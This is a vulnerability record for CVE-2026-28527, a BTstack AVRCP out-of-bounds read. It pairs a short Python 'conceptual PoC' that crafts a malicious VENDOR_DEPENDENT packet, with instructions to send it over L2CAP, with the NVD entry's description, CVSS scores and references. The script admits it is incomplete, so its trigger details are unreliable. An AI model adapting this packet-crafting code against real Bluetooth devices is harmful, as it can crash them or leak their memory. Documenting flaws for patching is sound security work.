CVE-2026-28527

import struct # Conceptual PoC for CVE-2026-28527: BlueKitchen BTstack OOB Read # This script demonstrates how to craft a malicious AVRCP VENDOR_DEPENDENT PDU. def generate_malicious_pdu(): # AVRCP PDU Header fields transaction_label = 0x00 # C/R: 1 (Response), ctype: 0x0C (Accepted) hdr_byte1 = (1 << 7) | 0x0C subunit_type = 0x00 subunit_id = 0x00 opcode = 0xB0 # Vendor Dependent Command # Construct the header # B: unsigned char, H: unsigned short (big endian) header = struct.pack(">BBBB", transaction_label, hdr_byte1, (subunit_type << 3) | subunit_id, opcode) # Company ID (Bluetooth SIG ID: 0x0019) company_id = struct.pack("<I", 0x00000019)[:3] # Malicious payload triggering OOB read # The vulnerability expects attribute data but the packet is truncated # or crafted such that the handler reads past the buffer. # Sending a valid Attribute ID but 0 length for value text might trigger the read # if the handler doesn't check length before accessing the text pointer. attribute_id = 0x01 # Example attribute ID payload_data = struct.pack("B", attribute_id) # The actual exploit would rely on the specific implementation detail # where the handler reads text length/value without checking packet bounds. pdu = header + company_id + payload_data return pdu if __name__ == "__main__": packet = generate_malicious_pdu() print(f"[+] Generated Malicious AVRCP PDU: {packet.hex()}") print("[!] Send this PDU over an established L2CAP channel to trigger the OOB read.")

{"cve": {"id": "CVE-2026-28527", "sourceIdentifier": "[email protected]", "published": "2026-03-30T14:16:35.003", "lastModified": "2026-04-03T16:14:53.823", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "BlueKitchen BTstack versions prior to 1.8.1 contain an out-of-bounds read vulnerability in the AVRCP Controller GET_PLAYER_APPLICATION_SETTING_ATTRIBUTE_TEXT and GET_PLAYER_APPLICATION_SETTING_VALUE_TEXT handlers that allows nearby attackers to read beyond packet boundaries. Attackers can establish a paired Bluetooth Classic connection and send specially crafted VENDOR_DEPENDENT responses to trigger out-of-bounds reads, causing information disclosure and potential crashes on affected devices."}, {"lang": "es", "value": "Las versiones de BlueKitchen BTstack anteriores a la 1.8.1 contienen una vulnerabilidad de lectura fuera de límites en los manejadores GET_PLAYER_APPLICATION_SETTING_ATTRIBUTE_TEXT y GET_PLAYER_APPLICATION_SETTING_VALUE_TEXT del controlador AVRCP que permite a atacantes cercanos leer más allá de los límites de los paquetes. Los atacantes pueden establecer una conexión Bluetooth Classic emparejada y enviar respuestas VENDOR_DEPENDENT especialmente diseñadas para desencadenar lecturas fuera de límites, causando revelación de información y posibles fallos en los dispositivos afectados."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bluekitchen-gmbh:btstack:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.1", "matchCriteriaId": "C2852C96-CC34-4FB3-9CB9-0048722A6617"}]}]}], "references": [{"url": "https://github.com/bluekitchen/btstack/releases/tag/v1.8.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/bluekitchen-btstack-avrcp-controller-get-player-application-setting-text-handlers-oob-read", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}